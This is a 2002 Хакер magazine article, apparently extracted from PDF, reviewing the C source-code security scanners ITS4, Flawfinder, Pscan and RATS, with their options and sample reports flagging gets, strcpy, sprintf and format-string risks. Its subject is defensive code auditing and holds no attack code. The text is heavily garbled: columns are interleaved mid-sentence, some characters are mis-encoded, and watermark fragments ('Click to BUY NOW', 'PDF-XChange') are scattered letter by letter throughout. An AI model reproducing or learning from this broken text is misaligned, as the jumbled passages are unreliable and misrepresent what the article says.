Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
16
Добавлен:
20.04.2024
Размер:
10.7 Mб
Скачать

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

P

 

 

 

 

 

 

 

 

 

i

 

 

 

 

ХАКЕР\¹43\Июль\2002

P

 

 

 

 

 

 

 

 

 

i

 

 

D

 

 

<Page 040>

 

 

D

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

Toxa (toxa@real.xakep.ru)

SOURCE

BUY

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

m

Взлом

 

 

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

g

.c

 

 

 

 

 

 

.

 

 

 

 

g

.c

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SOURCE CODE SCANNERS

CODE SCANNERS

Помощники сетевого программиста

 

 

 

 

 

 

 

< Folder1 >

 

 

 

 

 

 

 

 

 

 

 

 

 

Все, конечно же, наслышаны о

программ-сканеров. Узкий - так как будем счи-

рии багов в Си-программах", об этом писали

так называемых сканерах безо-

тать, что приложение, требующее проверки,

в номерах ]['2001, также, помнится, много

пасности: утилитах, позволяю-

написано на Си, а программист работает из

подобной инфы валялось на Void.ru. Разуме-

щих сканировать удаленные сер-

никсовой консольки. И если с первым все ясно

ется, для понимания всего нижеописанного

вера, что называется, "во все

(Си - безусловно, самый популярный язык), то

неплохо бы иметь хоть начальные знания язы-

порты", на предмет поиска уяз-

популярность таких программ под unix-like'си-

ка C, так как если ты не знаешь, чем одна

вимостей. Также не секрет, что

стемы вызвана, во-первых, малым их разме-

рассматриваемая функция отличается от дру-

эти утилиты, созданные офици-

ром (.tgz-архив с исходниками сканера редко

гой и для чего она нужна, то чтиво превратит-

ально, чтобы помочь админист-

весит больше 300 кб), а во-вторых, связанной

ся для тебя в нудную жвачку :)

ратору сервера проводить аудит

с Free'шными вариациями Юникса (под сим я

Как следует оценивать качество рассматривае-

безопасности, во всю использу-

понимаю Linux, Free/Net/OpenBSD и иже с ни-

мой проги? Конечно, тестировать ее "в боевых

ются хаксорами для собирания

ми, как известную альтернативу дорогим unix-

условиях". Как тестить сорцсканеры? Конечно,

подробной информации об ата-

системам) свободой софта, ибо серьезные

прогонять через них километровые исходники с

куемом сервере (нажал кнопочку

анализаторы исходных текстов (это уже не

кучей багов и смотреть, что отловится, а что

scan и сиди, плюй в потолок,

просто сканеры, а глобальные системы для

нет. К сожалению, злобный редактор отказался

тулза сама все просканит, поша-

полноценного анализа ПО) под Win, с GUI и

давать мне двадцать страниц для публикации

ðèò áàçó

уязвимостей

è

 

 

 

 

 

полных результатов тестов, да и тебе,

выдаст красивый

отчет).

 

 

 

 

 

думаю, было бы скучно их изучать, по-

Да, я имею в виду такие

Безопасность прежде всего

 

этому полную версию статьи, со

программы,

êàê

Nessus

Было бы удивительно, если бы при всех существующих уязвимостях

всеми отчетами, ты можешь найти

(ïîä *nix), Retina, Shadow

на сайте (угадай, каком), а тут я

люди ограничивались бы просто программами-сканерами для ана-

Security Scanner, XSpider,

лиза кода, либо патчами к ядру, не попытавшись разработать гло-

лишь скажу, что для тестирования

Languard Network Scanner

бальную защиту. Такая защита есть, и в данном случае это - компи-

использовались две программы:

ляторы

(логично, правда?), под названием StackGuard

è

и другие (под Win32), и то-

исходник из дистрибутива рассмат-

FormatGuard, которые не позволяют программам "шутить" со стеком.

му подобные утилиты, ко-

Проги, скомпилированные ими, не подвержены атакам на перепол-

риваемой ниже тулзы pscan, кото-

торые ты вовсю гоняешь

нение буфера и формат строки. Информацию о них и о том, как они

рый содержит вызовы и объявления

работают, ищи на http://www.immunix.org/. Это, между прочим, сайт

по ночам - все они тебе

ультра-секьюрного дистрибутива Linux (на основе RedHat 7.0), в ко-

основных функций, в которых могут

известны,

покопайся

â

тором учтены все баги и который, разумеется, целиком скомпилиро-

содержаться различные проблемы,

ван с помощью StackGuard и FormatGuard компиляторов.

 

конце концов

â

рубрике

 

соответственно, программы, содер-

 

 

 

 

 

"софт" нашего сайта.

 

 

 

 

 

 

жащие такие функции, могут быть

 

 

 

 

 

 

 

 

 

 

уязвимы, и исходник из дистрибу-

Но вот (почему-то) намного менее попу-

 

всеми делами, стоят больших денег.

 

тива сканера flawfinder (смысл его

лярны сканеры другого плана: утилиты, при-

 

примерно тот же, он менее функционален, но

званные помочь программисту в его нелегком

Короче, смысл считаю поясненным. Рассмат-

для исчерпывающего тестирования я юзал и

деле написания какого-нибудь сетевого прило-

риваем сканеры исходного кода под юниксо-

его). Достоинство программ - в очень хороших

жения (анализаторы исходных текстов aka

 

вую консоль (беги срочно ставить линукс :),

комментариях и структуре: последовательно да-

source code scanners). Что, спросишь, какие в

задача которых - указать программисту на

ется возможно небезопасное объявление функ-

коде могут быть уязвимости? Тут тебе и пере-

ошибки в том чуде, которое они написали, как

ции и сразу - априори безопасный вариант, для

полнение буфера (классика), и форматирова-

то: неправильные и потенциально опасные

сравнения. Впрочем, тебе никто не мешает са-

ние строки, и еще много всяких ошибок, кото-

вызовы библиотечных функций, переполнение

мому поиграть с объявлением функций: это, во-

рые может допустить программер в своем тру-

буфера, уязвимость формата строки и так да-

первых, может помочь разобраться в алгоритме

де из нескольких сотен строк. Поэтому сейчас

лее. Перед прочтением рекомендую ознако-

работы сканера (если есть в этом необходи-

я попытаюсь охватить хотя бы узкий круг таких

миться хотя бы с основными аспектами "тео-

мость), и, во-вторых, как следствие, может по-

< Взлом >25/07\02

40 Ньюсы 1 Феррум 2 PC_Zone 3 Взлом 4 Юниксоид

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

<PageP

018>41

 

 

 

i

 

D

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

< Folder2 >

мочь обнаружить в сканере баги :).

 

(./configure, make, make install) получаем папку

Вывести отчет сканирования в указанный

Маленькое замечание перед тем, как мы оку-

its4, в которой содержится три каталога: bin - не-

файл. По умолчанию используется стан-

немся в замечательный мир багов: в статье

 

посредственно с исполняемым файлом its4, its4 -

дартный поток вывода (на экран).

использованы как собственные впечатления и

с базой уязвимостей, и man - со страницей спра-

 

 

 

анализы, так и информация из readme-файлов

вочника. Всю необходимую информацию о пара-

-S, --no-solutions

соответствующих программ, ибо форму пода-

метрах, с которыми запускается утилита, можно

Не выводить советы по возможному реше-

чи материала в стиле "что пишут о проге - и

 

почерпнуть из этой страницы ($ man

нию проблемы.

что прога реально делает" считаю в данном

 

/its4/man/man1/its4.1), здесь приведу основные

 

 

 

случае наилучшей.

 

 

параметры с их описанием:

 

-Q, --quiet

 

 

 

 

 

 

"Тихий" режим. Выводится минимум ин-

 

 

 

Параметры запуска: $ ./its4 [option]... [file]...

формации, данный флаг аналогичен сов-

ITS4

 

Параметр file - путь к исходному C/C++ файлу

местному использованию флагов -D и -S.

http://www.cigital.com/services/its4

 

 

 

 

-v, --db-location=file

 

 

 

 

 

 

ITS4 (эта аббревиатура - сокращение от фразы

 

Вот основные флаги:

 

Указать путь к базе уязвимостей (для воз-

 

 

 

 

можности держать несколько баз, каждую

"It's The Software Stupid! Security Scanner", òàê

 

 

 

 

 

 

--a, -add=name

для определенных целей).

вот извратились девелоперы) - одна из самых

 

 

 

 

Добавить новое имя функции в базу дан-

 

 

 

известных утилит для статического анализа ис-

 

 

 

 

 

 

 

ных только для этого сеанса сканирования.

Это лишь некоторые из возможных флагов,

ходных сишных текстов на предмет наличия воз-

 

 

 

 

за более подробной информацией обра-

можных уязвимостей. ITS4 способна идентифи-

 

 

 

 

 

 

 

 

 

щайся к нужной странице справочни-

цировать потенциально опасные вызовы

 

 

 

 

 

 

 

 

 

 

êà man.

функций, которые при различных обсто-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ятельствах могут привести к переполне-

 

Buffer overflows èëè

 

 

 

нию буфера и, соответственно, преду-

 

переполнение буфера

 

 

 

 

преждать программиста. Надеюсь, не

 

Этот банальнейший и известнейший класс багов связан с тем,

 

Вот что примерно выда-

надо рассказывать, что переполнение

 

 

 

что в подверженных ему программах реализовано некорректное

 

ется при запуске проги (по-

буфера - это самый частый результат

 

 

 

управление памятью. Грубо говоря, в самом примитивном случае,

 

 

 

казан кусок отчета):

ошибок программиста, на котором ос-

 

имеем функцию, в которой реализована запись каких-либо дан-

 

 

ных в какой-либо массив/строку, без проверки на то, влезут ли,

 

 

новано большинство уязвимостей сете-

 

 

 

 

собственно, эти данные в означенный массив. Иными словами -

 

[root@localhost bin]#

вого ПО. Некоторые из этих уязвимос-

 

не выполняется проверка на число аргументов. Ты можешь реа-

 

тей довольно легко обнаружить (напри-

 

лизовать простейшее переполнение буфера следующим обра-

 

[root@localhost bin]# ./its4

 

зом: инициализируй функцию, в которой будет объявляться мас-

 

/root/scanz/test1.c

мер, использование в коде сишной биб-

 

 

 

сив, в который будут писаться данные с помощью какой-либо, не

 

 

 

/root/scanz/test1.c:38:(Urgent)

лиотечной функции gets почти всегда

 

обеспечивающей передачу аргумента на ограничение длины,

 

 

функции, например, strcpy. И в цикле увеличивай длину той стро-

 

fprintf

влечет за собой проблемы безопаснос-

 

 

 

ки, которая дописывается в массив, пока она не превысит размер

 

Non-constant format strings can

ти, всем быстро читать инфу по сиш-

 

массива. Вот ты и вызвал переполнение буфера :), т.к. можно по-

 

ным либам :). Некоторые же функции

 

догнать такую строку, которая бы писала в область программы

 

often be attacked.

 

заранее подготовленные данные, исполняющие вредоносный

 

Use a constant format string.

более "неуловимы" (strcpy, sprintf) и

 

 

 

код. А ведь эта строка может быть передаваемой пользователем

 

 

 

/root/scanz/test1.c:125:(Very

требуют тщательного анализа, наконец

 

с помощью другой уязвимой функции, например, gets()…

 

 

 

Очевидно, данный класс уязвимостей затрагивает те Си-

 

Risky) sprintf

некоторые вызовы функций априори бе-

 

 

 

функции, в которых нет ограничения на длину передавае-

 

This function is high risk for buffer

зопасны (strncpy, strncat), но, как и все

 

 

 

мых данных: strcpy, gets, strcat и остальные (их много). Хо-

 

overflows

остальные, могут быть неправильно ис-

 

чешь узнать о нем буквально все? Тогда не поленись и про-

 

пользованы, что повлечет за собой ды-

 

чти статью, в которой просто супер подробно рассказыва-

 

Use snprintf if available, or preci-

 

ется о переполнениях буфера и все что с ними связано:

 

sion specifiers, if available.

ру в системе безопасности.

 

 

 

http://www.securityfocus.com/data/library/P49-14.txt

 

 

 

 

 

 

Как и все рассматриваемые здесь про-

 

 

 

 

 

 

 

 

граммы, сканер ITS4 работает в кон-

 

 

 

 

 

 

Здесь мы видим, что в некоторых

сольном режиме. Утилита сканирует сорц и

 

 

 

 

 

 

 

 

--D, --no-descriptions

строках (38)

используются строки с непостоян-

анализирует вызовы стандартных функций на

 

 

 

 

Не выводить описания потенциальных про-

ным (неявно указанным) форматом, что, очевид-

потенциальную опасность, представляя про-

 

 

 

 

блем (только результаты сканирования)

но, может привести к такой известной ошибке,

граммисту информацию о возможных последст-

 

 

 

 

как форматирование строки (ликбез: это когда,

виях применения той или иной функции, а так-

 

 

 

 

-i, --ignore=function

допустим, строка ждет от юзера значение типа

же степень риска. Помимо этого, утилита выда-

 

 

Игнорировать анализ данной функции. Мо-

int, а ты ей пихаешь char, а в переменной, куда

ет краткое описание проблемы и предположе-

 

 

 

 

жет применяться любое количество раз.

значение передается, тип явно не прописан). Как

ния, как ее можно устранить. Все баги и реко-

 

 

 

 

решение проблемы, ITS4 предлагает использо-

мендуемые решения берутся из базы данных,

 

 

 

 

 

 

-I, --limit=function

вать постоянный формат строки. Когда формат

которая, будучи представлена в виде файла,

 

 

 

 

Не анализировать никакие функции, кроме

строки "непостоянный", т.е. не задан явно, и

всегда может быть обновлена или переделана

 

 

 

 

указанных. Может применяться любое ко-

утилита расценивает уровень опасности как

под себя пользователем.

 

 

 

личество раз.

 

urgent, т.е. "немедленно подлежащий ис-

Утилита поставляется в стандартном tar.gz архи-

 

 

 

 

правлению". В строке 125 та же функция

ве; после извлечения всех файлов в отдельную

 

 

 

 

 

 

-o, --output=filename

(sprintf) может быть причиной переполнения

папку и стандартного процесса компиляции

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

< Взлом >25/07\02

 

 

 

 

 

 

 

 

 

 

 

 

5 Западло... 6 Кодинг 7 JoyStick 8 Юниты 9 Quit> 41

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

P

 

 

 

 

 

 

 

 

i

 

 

 

 

D

 

 

<Page 042>

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

Взлом

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SOURCE CODE SCANNERS

Toxa (toxa@real.xakep.ru)

ХАКЕР\¹43\Июль\2002

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

to

BUY

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

буфера (уровень опасности, как видишь, "очень велик"), о чем нас и предупреждает утилита, рекомендуя по возможности использовать более защищенную функцию snprintf, аналогичную данной, но имеющую одним из параметров фиксированное количество передаваемых символов. Замечу, что гибкость утилиты ITS4 заключается еще и в том, что база уязвимостей может быть как угодно модифицирована пользователем "под себя" для решения конкретных задач.

Flawfinder

http://www.dwheeler.com/flawfinder

Flawfinder (Flaw - трещина, щель, изъян; Find - искать, (С) Lingvo 7 :) - это программа, призвание которой все то же: искать в исходном коде программы уязвимые с точки зрения безопасности места. В отличие от вышеупомянутой утилиты ITS4, flawfinder является программным обеспече- нием, свободно распространяемым под лицензией General Public License (GPL).

Для корректной работы Flawfinder требует интерпретатор языка Python версии 1.5 или выше (под версией 1.3 или ниже не функционирует), ибо на языке Python и написан. Утилита включается в некоторые дистрибутивы Linux. Поставляется либо в стандартном .tar.gz архиве, либо как RPM-пакет.

К сожалению, утила довольна слаба, что определяется не "сырым" состоянием программы (алгоритм уже достаточно хорошо отработан и программа отлажена), а размером базы уязвимостей - она еще сравнительно мала и нуждается в пополнении. Установка стандартная: распаковка в отдельный каталог и запуск в нем make install. В случае же rpm-пакета вообще никаких сложностей (кроме зависимостей) возникать не может.

Flawfinder можно передавать в качестве аргумента как отдельные файлы, так и целые директории для анализа групп C/C++ файлов (в т.ч. и по маске). Утилита анализирует каждый файл и на выходе, в случае обнаружения потенциальной уязвимости, присваивает ей степень риска по шестибальной шкале (от 0 - минимальный риск, до 5 - очень большой риск). Степень эта зависит как от вида функции, так и от ее параметров и переменных. Очевидно, далеко не каждый найденный flawfinder'ом баг - это в самом деле уязвимость, и рассматривать все выданные утилитой ошибки как априори требующие исправления не нужно. Впрочем, это относится ко всем без исключения сорцсканерам. Рекомендуется сначала исправить те баги, что входят в категорию "Highest Risk", а уж потом смотреть на остальные. Также, если ка- кую-либо особенность программы flawfinder принял за уязвимость, но ты знаешь, что это не так, рекомендуется в коде внести перед этой функцией комментарий типа /* Flawfinder: ignore */ (сканнер игнорирует функции, определенные с

< Folder1 >

таким комментарием) или же, наоборот, запустить программу с ключом -newerignore для отключения игнорирования.

Рассмотрим основные ключи запуска утилиты (они все доступны при запуске программы с ключом -help):

-n (--newerignore)

Не игнорировать вызовы никакой функции, даже если в комментариях наличествует директива :ignore.

-I (--immediate)

Показывать найденные уязвимости тут же, не дожидаясь окончания процесса сканирования (полезно в случае проверки како- го-либо большого количества файлов, например, ядра Linux =).

-savehitlist=/PATH

Сохранить отчет о сканировании в файл.

Вот кусок результата работы

Flawfinder'à:

[root@localhost flawfinder-0.21]# ./flawfinder test2.c

Flawfinder version 0.21, (C) 2001 David A. Wheeler.

Number of dangerous functions in C ruleset: 55

Examining test2.c

test2.c:29 [5] (buffer) gets: does not check for buffer overflows. Use fgets() instead. test2.c:14 [4] (buffer) strcpy: does not check for buffer overflows. Consider using strncpy or strlcpy.

test2.c:12 [1] (buffer) strcpy: does not check for buffer overflows. Consider using strncpy or strlcpy. Risk is low because the source is a constant character.

test2.c:23 [1] (buffer) scanf: the scanf() family's %s operation, without a limit specification, permits buffer overflows. Specify a limit to %s, or use a different input function. Only low-risk scanf formats detected.

Number of hits = 14

Not every hit is necessarily a security vulnerability.

There may be other security vulnerabilities; review your code!

Тут мы видим, что уязвимость с самой высокой степенью риска (5) найдена всего одна, в 29-й строчке, и связана она с отсутствием проверки на переполнение буфера. Что ж,

< Взлом >25/07\02

buffer overflow - это классика жанра =). Также в функциях sprintf найдено отсутствие проверки на формат передаваемой строки (он непостоянен); в функциях scanf нет ограничения на количество принимаемых символов, что также может быть причиной переполнения буфера; наконец, не менее классическое использование опасной strcpy вместо безопасной strncpy. По выдаваемому утилитой отчету все понятно без дополнительных комментариев.

Pscan http://www.striker.ottawa.on.ca/~aland/pscan/

Pscan (Problem Scanner) отличается тем, что "заточен" конкретно под такую распространенную ошибку, как переполнению буфера. Сканер работает по следующему принципу: он ищет одну из "проблемных" функций (на основе своего списка) и проверяет ее на наличие необходимых аргументов (тип данных, фиксированное кол-во символов). После того как потенциальная уязвимость найдена, сканер выдает ее на консоль с предложением о коррекции данного куска кода. На выходе, при передаче в качестве параметра сифайл, как и все подобные утилиты, сканер выводит номер строки, описание уязвимости и название функции, в которой найдена проблема. Программе можно передавать как отдельный файл, так и задавать сканирование по маске.

Запуск программы с ключом -v (verbose) даст более детальное описание уязвимостей.

Ключ -w позволяет выводить предупреждения, когда непостоянного формата строки (non-con- stant strings) используются как передаваемый в функцию параметр. Также заметим, что многие программы определяют свои собственные функции, но с подобными стандартным функциям проблемами. Для этого к сканеру имеется возможность подключить скрипт find_formats.sh (поставляется в архиве) для подбора прототипов сифункций для подобных "проблемных". Если уж будут обнаружены не все, то хоть самые типичные.

Смотрим кусочек отчета:

[root@localhost pscan-1.2]# ./pscan test1.c test1.c:38 SECURITY: fprintf call should have "%s" as argument 1

test1.c:66 SECURITY: sprintf call should have "%s" as argument 1

test1.c:77 SECURITY: sprintf call should have "%s" as argument 1

test1.c:95 SECURITY: sprintf call should have "%s" as argument 1

test1.c:118 SECURITY: printf call should have "%s" as argument 0

test1.c:131 SECURITY: syslog call should have "%s" as argument 1 [root@localhost pscan-1.2]#

42 Ньюсы 1 Феррум 2 PC_Zone 3 Взлом 4 Юниксоид

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

<PageP

018>43

 

 

 

i

 

D

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

< Folder2 >

Как видишь, отчет нам выдали в довольно лако-

 

 

 

 

 

 

 

 

 

ничной форме. Очевидно, что в указанных стро-

 

 

Где основные опции:

 

 

 

 

Отчет будет выглядеть

 

 

 

 

 

 

 

 

 

 

ках соответствующим функциям не хватает аргу-

 

 

 

 

 

 

примерно так:

мента "%t", где t - тип передаваемых данных,

 

 

-d <filename>

 

 

 

 

т.е. это можно интерпретировать как неявно за-

 

Путь к альтернативной базе уязвимостей

 

[root@localhost flawfinder-0.21]# rats -d

данный формат строки. Затем, по своему алго-

 

(если дефолтовая не устраивает).

 

/root/scanz/rats-1.3/vuln_db.c

ритму, программа сравнивает, так ли на самом

 

 

 

 

 

 

/root/scanz/Flaw-finder/flawfinder-

деле (т.е. присутствует "%t" или нет), и, в случае

 

-h

 

0.21/test2.c

неудачи, возвращает 0, иначе - 1. Таким обра-

Список всех команд.

 

 

/root/scanz/Flaw-finder/flawfinder-

зом, в программе test1.c найдена одна ошибка

 

 

 

 

 

 

0.21/test2.c:14: High: strcpy

на переполнение буфера (строка 118).

 

 

-l <lang>

 

Check to be sure that argument 2 passed to

 

 

 

 

 

Явное указание языка исходника, даже не-

 

this function call will not more

 

 

 

 

 

взирая на расширение файла, для более

 

data than can be handled, resulting in a

 

 

Запуская программу с ключом -vv,

точного аудита с учетом специфики данно-

 

 

buffer overflow.

 

 

 

 

 

 

 

 

получаем несколько более "разго-

 

 

го языка (позволяется выбирать "c", "perl",

 

/root/scanz/Flaw-finder/flawfinder-

ворчивый" отчет (привожу одну его

 

 

"php" è "python").

 

0.21/test2.c:24: High: scanf

строчку):

 

 

 

 

 

 

 

Check to be sure that the format string

 

 

 

 

 

-w <level>

 

passed as argument 2 to this function

[root@localhost pscan-1.2]# ./pscan -vv

 

 

Установка уровня опасности уязвимостей.

 

call doest not come from an untrusted source

/root/scanz/test2.c

 

 

Уровень 1 включает только проверку на

 

that could have added formatting

Scanning /root/scanz/test2.c ...

 

 

высокую степень уязвимости (несерьез-

 

characters that the code is not prepared to

/root/scanz/test2.c:6 FUNC printf Last argu-

 

 

ные, мелкие потенциальные уязвимости

 

handle. Additionally, the format

ment is variable or reference: BAD

 

 

игнорируются). Уровень 2 включает в себя

 

string could contain `%s' without precision

 

 

 

 

 

проверку на среднюю степень уязвимости

 

that could result in a buffer

 

 

 

 

 

(это уровень по умолчанию). Уровень 3

 

overflow.

Суть та же самая, найдено две ошибки, в тех ме-

 

включает также проверку на незначитель-

 

 

 

 

стах, где, как видим по отчету, аргумент функции

 

ные, мелкие возможные уязвимости.

 

 

 

 

printf варьируется (не постоянен) или зависит от

 

 

 

 

 

В первой группе предупреждений контролирует-

чего-либо (потенциально не постоя-

 

 

 

 

 

 

 

 

 

ся отсутствие ограничения на длину пе-

íåí).

 

À êàê äåëà â Microsoft?

 

 

 

редаваемого функции strcpy параме-

 

 

 

 

 

 

тра, что может вызвать... правильно,

 

 

 

Чего-то мы всю о юниксе да о юниксе, а как обстоят дела в им-

переполнение буфера. Во втором -

RATS

перии Билла Гейтса, и как чувствуют себя его программные про-

 

 

та же история с sprintf, нам предла-

http://www.securesw.com/projects.html

дукты по отношению к вышеописанным багам? Не смотря на то,

 

 

гается убедиться, что вызов функции

÷òî

здесь все переходит на более высокий объектно-ориенти-

 

 

 

 

 

рованный уровень, ошибок меньше не становится, и функции,

не идет из опасного источника и не

RATS (Rough Auditing Tool for Security,

подверженные атакам, остаются. Не веришь - поищи в багтраке

произойдет все та же "ошибка фор-

топики по словам "Microsoft" и "Buffer overflow vulnerability" :).

 

 

матирования строки". При вызове

"Грубая утилита для аудита безопас-

Более того, и тут гении из Редмонда остаются верны себе: не-

 

 

